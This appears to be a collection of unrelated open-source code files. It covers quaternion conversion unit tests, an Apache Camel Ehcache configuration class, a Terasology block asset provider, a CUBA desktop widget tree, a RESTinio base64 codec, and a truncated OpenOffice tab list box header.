TEST(QuatToAxisAngle, SmallRotation) { Vec3 axis; double ang; Quat q_small_x = {1.0, DBL_MIN, 0.0, 0.0}; ang = QuatToAxisAngle(&q_small_x, &axis); EXPECT_EQ(ang, 2.0 * DBL_MIN); EXPECT_NEAR_VEC3(axis, kVec3X, DBL_EPSILON); Quat q_small_y = {1.0, 0.0, DBL_MIN, 0.0}; ang = QuatToAxisAngle(&q_small_y, &axis); EXPECT_EQ(ang, 2.0 * DBL_MIN); EXPECT_NEAR_VEC3(axis, kVec3Y, DBL_EPSILON); Quat q_small_z = {1.0, 0.0, 0.0, DBL_MIN}; ang = QuatToAxisAngle(&q_small_z, &axis); EXPECT_EQ(ang, 2.0 * DBL_MIN); EXPECT_NEAR_VEC3(axis, kVec3Z, DBL_EPSILON); } // This is an older version of the QuatToAxisAngle function. The // newer version is more numerically stable for small angles, but it // is nice to compare against this version for "normal" angles. static double OldQuatToAxisAngle(const Quat *q, Vec3 *axis) { double angle = 2.0 * Acos(q->q0); double sine_ang2 = sin(angle / 2.0); if (fabs(sine_ang2) < DBL_TOL) { *axis = kVec3Zero; } else { Vec3 tmp = {q->q1, q->q2, q->q3}; Vec3Scale(&tmp, 1.0 / sine_ang2, axis); } if (angle > PI) { return angle - 2.0 * PI; } else { return angle; } } TEST(QuatToAxisAngle, CompareToOldVersion) { for (int32_t k = 0; k < 2222; ++k) { Quat q = {RandNormal(), RandNormal(), RandNormal(), RandNormal()}; QuatNormalize(&q, &q); Vec3 axis_old, axis_new; double angle_old = OldQuatToAxisAngle(&q, &axis_old); double angle_new = QuatToAxisAngle(&q, &axis_new); EXPECT_NEAR(angle_old, angle_new, 1e-9); EXPECT_NEAR_VEC3(axis_old, axis_new, 1e-9); } } TEST(AxisAngleToQuat, Recovery) { for (int32_t i = 0; i < 222; ++i) { Quat q = {Rand(-2.2, 2.2), Rand(-2.2, 2.2), Rand(-2.2, 2.2), Rand(-2.2, 2.2)}; QuatNormalize(&q, &q); Vec3 axis; double angle = QuatToAxisAngle(&q, &axis); Quat p; AxisAngleToQuat(&axis, angle, &p); EXPECT_NEAR(1.0, fabs(QuatDot(&q, &p)), 1e-9); } } TEST(AxisAngleToQuat, Identity) { Vec3 axis = {1.0, 2.0, 3.0}; double ang = 0.0; Quat q_ans = {1.0, 0.0, 0.0, 0.0}; Quat q; AxisAngleToQuat(&axis, ang, &q); EXPECT_NEAR_QUAT(q, q_ans, 1e-9); } TEST(AxisAngleToQuat, RotX90) { double ang = PI / 2.0; Quat q_ans = {sqrt(2.0) / 2.0, sqrt(2.0) / 2.0, 0.0, 0.0}; Quat q; AxisAngleToQuat(&kVec3X, ang, &q); EXPECT_NEAR_QUAT(q, q_ans, 1e-9); } TEST(AxisAngleToQuat, RotXn90) { double ang = -PI / 2.0; Quat q_ans = {sqrt(2.0) / 2.0, -sqrt(2.0) / 2.0, 0.0, 0.0}; Quat q; AxisAngleToQuat(&kVec3X, ang, &q); EXPECT_NEAR_QUAT(q, q_ans, 1e-9); } // The transpose is necessary here because the DCM represents a change // of basis rather than a rotation. TEST(AxisAngleToQuat, MATLAB_0) { Vec3 axis = {1.0, 2.0, 3.0}; double ang = 0.22; Mat3 dcm_ans = {{{0.977619060092705, -0.171529738735821, 0.121813472459646}, {0.178416181784219, 0.982783892379004, -0.047994655514076}, {-0.111483807887048, 0.068653984659271, 0.991391946189502}}}; Mat3 dcm_trans_ans; Mat3Trans(&dcm_ans, &dcm_trans_ans); Mat3 dcm; Quat q; AxisAngleToQuat(&axis, ang, &q); QuatToDcm(&q, &dcm); EXPECT_NEAR_MAT3(dcm, dcm_trans_ans, 1e-9); } TEST(QuatToAxis, Rotation90Deg) { Vec3 axis; Quat q_x90 = {sqrt(2.0) / 2.0, sqrt(2.0) / 2.0, 0.0, 0.0}; Vec3 axis_x90_ans = {PI / 2.0, 0.0, 0.0}; QuatToAxis(&q_x90, &axis); EXPECT_NEAR_VEC3(axis_x90_ans, axis, DBL_EPSILON); Quat q_xn90 = {sqrt(2.0) / 2.0, -sqrt(2.0) / 2.0, 0.0, 0.0}; Vec3 axis_xn90_ans = {-PI / 2.0, 0.0, 0.0}; QuatToAxis(&q_xn90, &axis); EXPECT_NEAR_VEC3(axis_xn90_ans, axis, DBL_EPSILON); Quat q_y90 = {sqrt(2.0) / 2.0, 0.0, sqrt(2.0) / 2.0, 0.0}; Vec3 axis_y90_ans = {0.0, PI / 2.0, 0.0}; QuatToAxis(&q_y90, &axis); EXPECT_NEAR_VEC3(axis_y90_ans, axis, DBL_EPSILON); Quat q_yn90 = {sqrt(2.0) / 2.0, 0.0, -sqrt(2.0) / 2.0, 0.0}; Vec3 axis_yn90_ans = {0.0, -PI / 2.0, 0.0}; QuatToAxis(&q_yn90, &axis); EXPECT_NEAR_VEC3(axis_yn90_ans, axis, DBL_EPSILON); Quat q_z90 = {sqrt(2.0) / 2.0, 0.0, 0.0, sqrt(2.0) / 2.0}; Vec3 axis_z90_ans = {0.0, 0.0, PI / 2.0}; QuatToAxis(&q_z90, &axis); EXPECT_NEAR_VEC3(axis_z90_ans, axis, DBL_EPSILON); Quat q_zn90 = {sqrt(2.0) / 2.0, 0.0, 0.0, -sqrt(2.0) / 2.0}; Vec3 axis_zn90_ans = {0.0, 0.0, -PI / 2.0}; QuatToAxis(&q_zn90, &axis); EXPECT_NEAR_VEC3(axis_zn90_ans, axis, DBL_EPSILON); } TEST(QuatToAxis, Recovery) { Quat q; Vec3 axis_out, axis = {1.0, 2.0, -0.5}; QuatToAxis(AxisToQuat(&axis, &q), &axis_out); EXPECT_NEAR_VEC3(axis_out, axis, DBL_EPSILON); QuatToAxis(AxisToQuat(&axis_out, &q), &axis_out); EXPECT_NEAR_VEC3(axis_out, axis, DBL_EPSILON); } TEST(AxisToQuat, Rotation90Deg) { Quat q; Quat q_x90_ans = {sqrt(2.0) / 2.0, sqrt(2.0) / 2.0, 0.0, 0.0}; Vec3 axis_x90 = {PI / 2.0, 0.0, 0.0}; AxisToQuat(&axis_x90, &q); EXPECT_NEAR_QUAT(q_x90_ans, q, DBL_EPSILON); Quat q_xn90_ans = {sqrt(2.0) / 2.0, -sqrt(2.0) / 2.0, 0.0, 0.0}; Vec3 axis_xn90 = {-PI / 2.0, 0.0, 0.0}; AxisToQuat(&axis_xn90, &q); EXPECT_NEAR_QUAT(q_xn90_ans, q, DBL_EPSILON); Quat q_y90_ans = {sqrt(2.0) / 2.0, 0.0, sqrt(2.0) / 2.0, 0.0}; Vec3 axis_y90 = {0.0, PI / 2.0, 0.0}; AxisToQuat(&axis_y90, &q); EXPECT_NEAR_QUAT(q_y90_ans, q, DBL_EPSILON); Quat q_yn90_ans = {sqrt(2.0) / 2.0, 0.0, -sqrt(2.0) / 2.0, 0.0}; Vec3 axis_yn90 = {0.0, -PI / 2.0, 0.0}; AxisToQuat(&axis_yn90, &q); EXPECT_NEAR_QUAT(q_yn90_ans, q, DBL_EPSILON); Quat q_z90_ans = {sqrt(2.0) / 2.0, 0.0, 0.0, sqrt(2.0) / 2.0}; Vec3 axis_z90 = {0.0, 0.0, PI / 2.0}; AxisToQuat(&axis_z90, &q); EXPECT_NEAR_QUAT(q_z90_ans, q, DBL_EPSILON); Quat q_zn90_ans = {sqrt(2.0) / 2.0, 0.0, 0.0, -sqrt(2.0) / 2.0}; Vec3 axis_zn90 = {0.0, 0.0, -PI / 2.0}; AxisToQuat(&axis_zn90, &q); EXPECT_NEAR_QUAT(q_zn90_ans, q, DBL_EPSILON); } TEST(AxisToQuat, Recovery) { Quat q_out, q = {sqrt(2.0) / 2.0, 0.0, sqrt(2.0) / 2.0, 0.0}; Vec3 axis; AxisToQuat(QuatToAxis(&q, &axis), &q_out); EXPECT_NEAR_QUAT(q_out, q, DBL_EPSILON); AxisToQuat(QuatToAxis(&q_out, &axis), &q_out); EXPECT_NEAR_QUAT(q_out, q, DBL_EPSILON); } TEST(QuatToAngle, kRotationOrderZyx) { double r1, r2, r3; Quat q = {0.182574185835055, 0.365148371670111, 0.547722557505166, 0.730296743340221}; QuatToAngle(&q, kRotationOrderZyx, &r1, &r2, &r3); EXPECT_NEAR(r1, 2.356194490192345, 1e-9); EXPECT_NEAR(r2, -0.339836909454122, 1e-9); EXPECT_NEAR(r3, 1.428899272190733, 1e-9); } #if defined(NDEBUG) TEST(QuatToAngle, kRotationOrderZyx_Unnormalized) { double r1, r2, r3; Quat q = {1.0, 2.0, 3.0, 4.0}; QuatToAngle(&q, kRotationOrderZyx, &r1, &r2, &r3); EXPECT_NEAR(r1, 2.356194490192345, 1e-9); EXPECT_NEAR(r2, -0.339836909454122, 1e-9); EXPECT_NEAR(r3, 1.428899272190733, 1e-9); } #endif // defined(NDEBUG) TEST(QuatToAngle, CompareToDCMToAngle) { Quat q = {1.0, 2.0, 3.0, 4.0}; QuatNormalize(&q, &q); Mat3 dcm; double r_quat_1, r_quat_2, r_quat_3, r_dcm_1, r_dcm_2, r_dcm_3; for (int32_t i = 0; i < kNumRotationOrders; ++i) { RotationOrder order = static_cast<RotationOrder>(i); QuatToAngle(&q, order, &r_quat_1, &r_quat_2, &r_quat_3); DcmToAngle(QuatToDcm(&q, &dcm), order, &r_dcm_1, &r_dcm_2, &r_dcm_3); EXPECT_NEAR(r_dcm_1, r_quat_1, 1e-9); EXPECT_NEAR(r_dcm_2, r_quat_2, 1e-9); EXPECT_NEAR(r_dcm_3, r_quat_3, 1e-9); } } TEST(AngleToQuat, Recovery) { for (int32_t i = 0; i < kNumRotationOrders; ++i) { RotationOrder order = static_cast<RotationOrder>(i); for (int32_t j = 0; j < 10; ++j) { double r1_in = Rand(0.0, PI / 2.0); double r2_in = Rand(0.0, PI / 2.0); double r3_in = Rand(0.0, PI / 2.0); Quat q; double r1_out, r2_out, r3_out; AngleToQuat(r1_in, r2_in, r3_in, order, &q); QuatToAngle(&q, order, &r1_out, &r2_out, &r3_out); EXPECT_NEAR(r1_in, r1_out, 1e-9); EXPECT_NEAR(r2_in, r2_out, 1e-9); EXPECT_NEAR(r3_in, r3_out, 1e-9); } } } TEST(QuatToMrp, Normal) { const Quat q_pos = {0.788333398130528, -0.143880418517924, 0.351515804100355, 0.484009832572400}; Vec3 mrp; QuatToMrp(&q_pos, &mrp); EXPECT_NEAR(mrp.x, -0.0804550307388614, 1e-9); EXPECT_NEAR(mrp.y, 0.1965605543506705, 1e-9); EXPECT_NEAR(mrp.z, 0.2706485452200185, 1e-9); const Quat q_neg = {-0.788333398130528, 0.143880418517924, -0.351515804100355, -0.484009832572400}; QuatToMrp(&q_neg, &mrp); EXPECT_NEAR(mrp.x, -0.0804550307388614, 1e-9); EXPECT_NEAR(mrp.y, 0.1965605543506705, 1e-9); EXPECT_NEAR(mrp.z, 0.2706485452200185, 1e-9); } TEST(QuatToMrp, DivideByZero) { // Test for possible divide by zero condition. const Quat q_pos = {1.0, 0.0, 0.0, 0.0}; Vec3 mrp; QuatToMrp(&q_pos, &mrp); EXPECT_NEAR(mrp.x, 0.0, 1e-9); EXPECT_NEAR(mrp.y, 0.0, 1e-9); EXPECT_NEAR(mrp.z, 0.0, 1e-9); const Quat q_neg = {-1.0, 0.0, 0.0, 0.0}; QuatToMrp(&q_neg, &mrp); EXPECT_NEAR(mrp.x, 0.0, 1e-9); EXPECT_NEAR(mrp.y, 0.0, 1e-9); EXPECT_NEAR(mrp.z, 0.0, 1e-9); } TEST(MrpToQuat, Normal) { const Vec3 mrp = {-0.0804550307388614, 0.1965605543506705, 0.2706485452200185}; Quat q; MrpToQuat(&mrp, &q); EXPECT_NEAR(q.q0, 0.788333398130528, 1e-9); EXPECT_NEAR(q.q1, -0.143880418517924, 1e-9); EXPECT_NEAR(q.q2, 0.351515804100355, 1e-9); EXPECT_NEAR(q.q3, 0.484009832572400, 1e-9); } TEST(Vec3Vec3ToDcm, Recovery) { // TODO(b/111406468): Set the random number seed to make this test // deterministic. for (int i = 0; i < 100; i++) { Vec3 a = {Rand(-2.2, 2.2), Rand(-2.2, 2.2), Rand(-2.2, 2.2)}; Vec3 b = {Rand(-2.2, 2.2), Rand(-2.2, 2.2), Rand(-2.2, 2.2)}; Mat3 dcm_a2b; Vec3Vec3ToDcm(&a, &b, &dcm_a2b); Vec3 b_out; Mat3Vec3Mult(&dcm_a2b, &a, &b_out); // Verify that b_out is in the same direction as b. double angle_between_vectors = Vec3ToAxisAngle(&b, &b_out, NULL); EXPECT_NEAR(angle_between_vectors, 0.0, 1e-6); } } int main(int argc, char **argv) { ::testing::InitGoogleTest(&argc, argv); return RUN_ALL_TESTS(); }
20,896
4,262
<filename>components/camel-ehcache/src/main/java/org/apache/camel/component/ehcache/EhcacheConfiguration.java /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.camel.component.ehcache; import java.util.HashMap; import java.util.LinkedHashSet; import java.util.Map; import java.util.Set; import org.apache.camel.RuntimeCamelException; import org.apache.camel.spi.Metadata; import org.apache.camel.spi.UriParam; import org.apache.camel.spi.UriParams; import org.apache.camel.util.ObjectHelper; import org.apache.camel.util.function.ThrowingHelper; import org.ehcache.CacheManager; import org.ehcache.config.CacheConfiguration; import org.ehcache.config.Configuration; import org.ehcache.event.EventFiring; import org.ehcache.event.EventOrdering; import org.ehcache.event.EventType; @UriParams public class EhcacheConfiguration implements Cloneable { @UriParam(defaultValue = "true") private boolean createCacheIfNotExist = true; @UriParam(label = "producer") private String action; @UriParam(label = "producer") private Object key; @UriParam private CacheManager cacheManager; @UriParam private Configuration cacheManagerConfiguration; @UriParam private String configurationUri; @UriParam(label = "advanced") private CacheConfiguration configuration; @UriParam(label = "advanced") private Map<String, CacheConfiguration> configurations; @UriParam(label = "advanced") private String keyType; @UriParam(label = "advanced") private String valueType; @UriParam(label = "consumer", defaultValue = "ORDERED") private EventOrdering eventOrdering = EventOrdering.ORDERED; @UriParam(label = "consumer", defaultValue = "ASYNCHRONOUS") private EventFiring eventFiring = EventFiring.ASYNCHRONOUS; @UriParam(label = "consumer", enums = "EVICTED,EXPIRED,REMOVED,CREATED,UPDATED") private String eventTypes; public EhcacheConfiguration() { } /** * URI pointing to the Ehcache XML configuration file's location */ public void setConfigurationUri(String configurationUri) { this.configurationUri = configurationUri; } public String getConfigurationUri() { return configurationUri; } public boolean hasConfigurationUri() { return ObjectHelper.isNotEmpty(configurationUri); } /** * @deprecated use {@link #getConfigurationUri()} instead */ @Deprecated public String getConfigUri() { return getConfigurationUri(); } /** * URI pointing to the Ehcache XML configuration file's location * * @deprecated use {@link #setConfigurationUri(String)} instead */ @Deprecated @Metadata(deprecationNote = "use configurationUri instead") public void setConfigUri(String configUri) { setConfigurationUri(configUri); } public boolean isCreateCacheIfNotExist() { return createCacheIfNotExist; } /** * Configure if a cache need to be created if it does exist or can't be pre-configured. */ public void setCreateCacheIfNotExist(boolean createCacheIfNotExist) { this.createCacheIfNotExist = createCacheIfNotExist; } public String getAction() { return action; } /** * To configure the default cache action. If an action is set in the message header, then the operation from the * header takes precedence. */ public void setAction(String action) { this.action = action; } public Object getKey() { return key; } /** * To configure the default action key. If a key is set in the message header, then the key from the header takes * precedence. */ public void setKey(Object key) { this.key = key; } public CacheManager getCacheManager() { return cacheManager; } /** * The cache manager */ public void setCacheManager(CacheManager cacheManager) { this.cacheManager = cacheManager; } public boolean hasCacheManager() { return this.cacheManager != null; } public Configuration getCacheManagerConfiguration() { return cacheManagerConfiguration; } /** * The cache manager configuration */ public void setCacheManagerConfiguration(Configuration cacheManagerConfiguration) { this.cacheManagerConfiguration = cacheManagerConfiguration; } public boolean hasCacheManagerConfiguration() { return this.cacheManagerConfiguration != null; } public EventOrdering getEventOrdering() { return eventOrdering; } /** * Set the delivery mode (ordered, unordered) */ public void setEventOrdering(String eventOrdering) { setEventOrdering(EventOrdering.valueOf(eventOrdering)); } public void setEventOrdering(EventOrdering eventOrdering) { this.eventOrdering = eventOrdering; } public EventFiring getEventFiring() { return eventFiring; } /** * Set the delivery mode (synchronous, asynchronous) */ public void setEventFiring(String eventFiring) { setEventFiring(EventFiring.valueOf(eventFiring)); } public void setEventFiring(EventFiring eventFiring) { this.eventFiring = eventFiring; } public String getEventTypes() { return eventTypes; } public Set<EventType> getEventTypesSet() { Set<EventType> answer = new LinkedHashSet<>(); String types = eventTypes; if (types == null) { types = "EVICTED,EXPIRED,REMOVED,CREATED,UPDATED"; } String[] arr = types.split(","); for (String s : arr) { answer.add(EventType.valueOf(s)); } return answer; } /** * Set the type of events to listen for (EVICTED,EXPIRED,REMOVED,CREATED,UPDATED). You can specify multiple entries * separated by comma. */ public void setEventTypes(String eventTypes) { this.eventTypes = eventTypes; } // **************************** // Cache Configuration // **************************** /** * The default cache configuration to be used to create caches. */ public void setConfiguration(CacheConfiguration<?, ?> configuration) { this.configuration = configuration; } public CacheConfiguration<?, ?> getConfiguration() { return configuration; } public boolean hasConfiguration() { return ObjectHelper.isNotEmpty(configuration); } public boolean hasConfiguration(String name) { return ThrowingHelper.applyIfNotEmpty(configurations, c -> c.containsKey(name), () -> false); } /** * A map of cache configuration to be used to create caches. */ public Map<String, CacheConfiguration> getConfigurations() { return configurations; } public void setConfigurations(Map<String, CacheConfiguration> configurations) { this.configurations = Map.class.cast(configurations); } public void addConfigurations(Map<String, CacheConfiguration> configurations) { if (this.configurations == null) { this.configurations = new HashMap<>(); } this.configurations.putAll(configurations); } public String getKeyType() { return keyType; } /** * The cache key type, default "java.lang.Object" */ public void setKeyType(String keyType) { this.keyType = keyType; } public String getValueType() { return valueType; } /** * The cache value type, default "java.lang.Object" */ public void setValueType(String valueType) { this.valueType = valueType; } // **************************** // Cloneable // **************************** public EhcacheConfiguration copy() { try { return (EhcacheConfiguration) super.clone(); } catch (CloneNotSupportedException e) { throw new RuntimeCamelException(e); } } }
3,083
2,996
<filename>engine/src/main/java/org/terasology/engine/world/block/loader/AutoBlockProvider.java // Copyright 2021 The Terasology Foundation // SPDX-License-Identifier: Apache-2.0 package org.terasology.engine.world.block.loader; import com.google.common.collect.Sets; import org.terasology.gestalt.assets.AssetDataProducer; import org.terasology.gestalt.assets.ResourceUrn; import org.terasology.engine.world.block.sounds.BlockSounds; import org.terasology.gestalt.assets.management.AssetManager; import org.terasology.gestalt.assets.module.annotations.RegisterAssetDataProducer; import org.terasology.gestalt.naming.Name; import org.terasology.engine.world.block.BlockPart; import org.terasology.engine.world.block.family.FreeformFamily; import org.terasology.engine.world.block.tiles.BlockTile; import java.io.IOException; import java.util.Optional; import java.util.Set; @RegisterAssetDataProducer public class AutoBlockProvider implements AssetDataProducer<BlockFamilyDefinitionData> { private AssetManager assetManager; public AutoBlockProvider(AssetManager assetManager) { this.assetManager = assetManager; } @Override public Set<ResourceUrn> getAvailableAssetUrns() { Set<ResourceUrn> result = Sets.newLinkedHashSet(); assetManager.getAvailableAssets(BlockTile.class).stream() .map(urn -> assetManager.getAsset(urn, BlockTile.class).get()) .filter(BlockTile::isAutoBlock) .forEach(tile -> result.add(tile.getUrn())); return result; } @Override public Set<Name> getModulesProviding(Name resourceName) { Set<Name> result = Sets.newLinkedHashSet(); assetManager.resolve(resourceName.toString(), BlockTile.class).stream() .map(urn -> assetManager.getAsset(urn, BlockTile.class).get()) .filter(BlockTile::isAutoBlock) .forEach(tile -> result.add(tile.getUrn().getModuleName())); return result; } @Override public ResourceUrn redirect(ResourceUrn urn) { return urn; } @Override public Optional<BlockFamilyDefinitionData> getAssetData(ResourceUrn urn) throws IOException { Optional<BlockTile> blockTile = assetManager.getAsset(urn, BlockTile.class); if (blockTile.isPresent() && blockTile.get().isAutoBlock()) { BlockFamilyDefinitionData data = new BlockFamilyDefinitionData(); for (BlockPart part : BlockPart.values()) { data.getBaseSection().getBlockTiles().put(part, blockTile.get()); } data.getBaseSection().setSounds(assetManager.getAsset("engine:default", BlockSounds.class).get()); data.setBlockFamily(FreeformFamily.class); return Optional.of(data); } return Optional.empty(); } }
1,062
881
<gh_stars>100-1000 /* restinio */ /*! Base64 implementation. */ #pragma once #include <restinio/exception.hpp> #include <restinio/expected.hpp> #include <restinio/utils/impl/bitops.hpp> #include <restinio/impl/include_fmtlib.hpp> #include <string> #include <array> #include <exception> #include <iostream> // std::cout, debug namespace restinio { namespace utils { namespace base64 { #include "base64_lut.ipp" using uint_type_t = std::uint_fast32_t; inline bool is_base64_char( char c ) noexcept { return 1 == is_base64_char_lut< unsigned char >()[ static_cast<unsigned char>(c) ]; } inline bool is_valid_base64_string( string_view_t str ) noexcept { enum class expected_type { b64ch, b64ch_or_padding, padding }; if( str.size() < 4u ) return false; expected_type expects = expected_type::b64ch; std::uint_fast8_t b64chars_found = 0u; // Can't be greater than 2. std::uint_fast8_t paddings_found = 0u; // Can't be greater than 3. for( const auto ch : str ) { switch( expects ) { case expected_type::b64ch: { // Because '=' is a part of base64_chars, it should be checked // individually. if( '=' == ch ) return false; else if( is_base64_char( ch ) ) { ++b64chars_found; if( b64chars_found >= 2u ) expects = expected_type::b64ch_or_padding; } else return false; break; } case expected_type::b64ch_or_padding: { if( '=' == ch ) { expects = expected_type::padding; ++paddings_found; } else if( is_base64_char( ch ) ) { /* Nothing to do */ } else return false; break; } case expected_type::padding: { if( '=' == ch ) { ++paddings_found; if( paddings_found > 2u ) return false; } else return false; break; } } } return true; } inline uint_type_t uch( char ch ) { return static_cast<uint_type_t>(static_cast<unsigned char>(ch)); } template<unsigned int Shift> char sixbits_char( uint_type_t bs ) { return ::restinio::utils::impl::bitops::n_bits_from< char, Shift, 6 >(bs); } inline std::string encode( string_view_t str ) { std::string result; const auto at = [&str](auto index) { return uch(str[index]); }; const auto alphabet_char = [](auto ch) { return static_cast<char>( base64_alphabet< unsigned char >()[ static_cast<unsigned char>(ch) ]); }; constexpr std::size_t group_size = 3u; const auto remaining = str.size() % group_size; result.reserve( (str.size()/group_size + (remaining ? 1:0)) * 4 ); std::size_t i = 0; for(; i < str.size() - remaining; i += group_size ) { uint_type_t bs = (at(i) << 16) | (at(i+1) << 8) | at(i+2); result.push_back( alphabet_char( sixbits_char<18>(bs) ) ); result.push_back( alphabet_char( sixbits_char<12>(bs) ) ); result.push_back( alphabet_char( sixbits_char<6>(bs) ) ); result.push_back( alphabet_char( sixbits_char<0>(bs) ) ); } if( remaining ) { // Some code duplication to avoid additional IFs. if( 1u == remaining ) { uint_type_t bs = (at(i) << 16); result.push_back( alphabet_char( sixbits_char<18>(bs) ) ); result.push_back( alphabet_char( sixbits_char<12>(bs) ) ); result.push_back('='); } else { uint_type_t bs = (at(i) << 16) | (at(i+1) << 8); result.push_back( alphabet_char( sixbits_char<18>(bs) ) ); result.push_back( alphabet_char( sixbits_char<12>(bs) ) ); result.push_back( alphabet_char( sixbits_char<6>(bs) ) ); } result.push_back('='); } return result; } //! Description of base64 decode error. enum class decoding_error_t { invalid_base64_sequence }; inline expected_t< std::string, decoding_error_t > try_decode( string_view_t str ) { if( !is_valid_base64_string( str ) ) return make_unexpected( decoding_error_t::invalid_base64_sequence ); constexpr std::size_t group_size = 4; std::string result; result.reserve( (str.size() / group_size) * 3 ); const unsigned char * const decode_table = base64_decode_lut< unsigned char >(); const auto at = [&str](auto index) { return static_cast<unsigned char>(str[index]); }; for( size_t i = 0 ; i < str.size(); i += group_size) { uint_type_t bs{}; int paddings_found = 0u; bs |= decode_table[ at(i) ]; bs <<= 6; bs |= decode_table[ at(i+1) ]; bs <<= 6; if( '=' == str[i+2] ) { ++paddings_found; } else { bs |= decode_table[ at(i+2) ]; } bs <<= 6; if( '=' == str[i+3] ) { ++paddings_found; } else { bs |= decode_table[ at(i+3) ]; } using ::restinio::utils::impl::bitops::n_bits_from; result.push_back( n_bits_from< char, 16 >(bs) ); if( paddings_found < 2 ) { result.push_back( n_bits_from< char, 8 >(bs) ); } if( paddings_found < 1 ) { result.push_back( n_bits_from< char, 0 >(bs) ); } } return result; } namespace impl { inline void throw_exception_on_invalid_base64_string( string_view_t str ) { constexpr size_t max_allowed_len = 32u; // If str is too long only a part of it will be included // in the error message. if( str.size() > max_allowed_len ) throw exception_t{ fmt::format( "invalid base64 string that starts with '{}'", str.substr( 0u, max_allowed_len ) ) }; else throw exception_t{ fmt::format( "invalid base64 string '{}'", str ) }; } } /* namespace impl */ inline std::string decode( string_view_t str ) { auto result = try_decode( str ); if( !result ) impl::throw_exception_on_invalid_base64_string( str ); return std::move( *result ); } } /* namespace base64 */ } /* namespace utils */ } /* namespace restinio */
2,415
1,337
<filename>modules/desktop/src/com/haulmont/cuba/desktop/gui/components/DesktopWidgetsTree.java /* * Copyright (c) 2008-2016 Haulmont. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ package com.haulmont.cuba.desktop.gui.components; import com.haulmont.cuba.core.entity.Entity; import com.haulmont.cuba.desktop.gui.data.TreeModelAdapter; import com.haulmont.cuba.gui.components.Component; import com.haulmont.cuba.gui.components.WidgetsTree; import javax.swing.*; import javax.swing.event.CellEditorListener; import javax.swing.tree.TreeCellEditor; import javax.swing.tree.TreeCellRenderer; import java.util.EventObject; public class DesktopWidgetsTree<E extends Entity> extends DesktopTree<E> implements WidgetsTree<E> { @Override public void setWidgetBuilder(final WidgetBuilder widgetBuilder) { if (widgetBuilder == null) return; impl.setEditable(true); impl.setCellRenderer(new CellRenderer(widgetBuilder)); impl.setCellEditor(new CellEditor(widgetBuilder)); } private class CellEditor implements TreeCellEditor { private WidgetBuilder widgetBuilder; private CellEditor(WidgetBuilder widgetBuilder) { this.widgetBuilder = widgetBuilder; } @Override public java.awt.Component getTreeCellEditorComponent(JTree tree, Object value, boolean isSelected, boolean expanded, boolean leaf, int row) { Component component = widgetBuilder.build( datasource, ((TreeModelAdapter.Node) value).getEntity().getId(), leaf ); return DesktopComponentsHelper.getComposition(component); } @Override public Object getCellEditorValue() { return null; } @Override public boolean isCellEditable(EventObject anEvent) { return true; } @Override public boolean shouldSelectCell(EventObject anEvent) { return true; } @Override public boolean stopCellEditing() { return true; } @Override public void cancelCellEditing() { } @Override public void addCellEditorListener(CellEditorListener l) { } @Override public void removeCellEditorListener(CellEditorListener l) { } } private class CellRenderer implements TreeCellRenderer { private WidgetBuilder widgetBuilder; private CellRenderer(WidgetBuilder widgetBuilder) { this.widgetBuilder = widgetBuilder; } @Override public java.awt.Component getTreeCellRendererComponent(JTree tree, Object value, boolean selected, boolean expanded, boolean leaf, int row, boolean hasFocus) { Component component = widgetBuilder.build( datasource, ((TreeModelAdapter.Node) value).getEntity().getId(), leaf ); return DesktopComponentsHelper.getComposition(component); } } }
1,598
497
class AnyNetCfg: stem_type = "simple_stem_in" stem_w = 32 block_type = "res_bottleneck_block" depths = [] widths = [] strides = [] bot_muls = [] group_ws = [] se_on = True se_r = 0.25 class RegNetCfg: stem_type = "simple_stem_in" stem_w = 32 block_type = "res_bottleneck_block" stride = 2 se_on = True se_r = 0.25 depth = 10 w0 = 32 wa = 5.0 wm = 2.5 group_w = 16 bot_mul = 1.0
240
1,025
#import <UIKit/UIKit.h> @interface CDEPropertyTableViewCell : UITableViewCell #pragma mark - Properties @property (nonatomic, strong) NSPropertyDescription *propertyDescription; @property (nonatomic, strong) NSManagedObject *managedObject; #pragma mark - UI // propertyDescription and managedObject have to be set before calling this method - (void)updateUI; @end
106
679
<gh_stars>100-1000 /************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ #ifndef _SVTABBX_HXX #define _SVTABBX_HXX #include "svtools/svtdllapi.h" #include <svtools/svtreebx.hxx> #include <svtools/accessibletableprovider.hxx> #ifndef INCLUDED_VECTOR #include <vector> #define INCLUDED_VECTOR #endif enum SvTabJustify { AdjustRight = SV_LBOXTAB_ADJUST_RIGHT, AdjustLeft = SV_LBOXTAB_ADJUST_LEFT, AdjustCenter = SV_LBOXTAB_ADJUST_CENTER, AdjustNumeric = SV_LBOXTAB_ADJUST_NUMERIC }; struct TabListBoxEventData { SvLBoxEntry* m_pEntry; sal_uInt16 m_nColumn; String m_sOldText; TabListBoxEventData( SvLBoxEntry* pEntry, sal_uInt16 nColumn, const String& rOldText ) : m_pEntry( pEntry ), m_nColumn( nColumn ), m_sOldText( rOldText ) {} }; class SVT_DLLPUBLIC SvTabListBox : public SvTreeListBox { private: SvLBoxTab* pTabList; sal_uInt16 nTabCount; XubString aCurEntry; sal_uLong nDummy1; sal_uLong nDummy2; protected: SvLBoxEntry* pViewParent; static const xub_Unicode* GetToken( const xub_Unicode* pPtr, sal_uInt16& rLen ); virtual void SetTabs(); virtual void InitEntry( SvLBoxEntry*, const XubString&, const Image&, 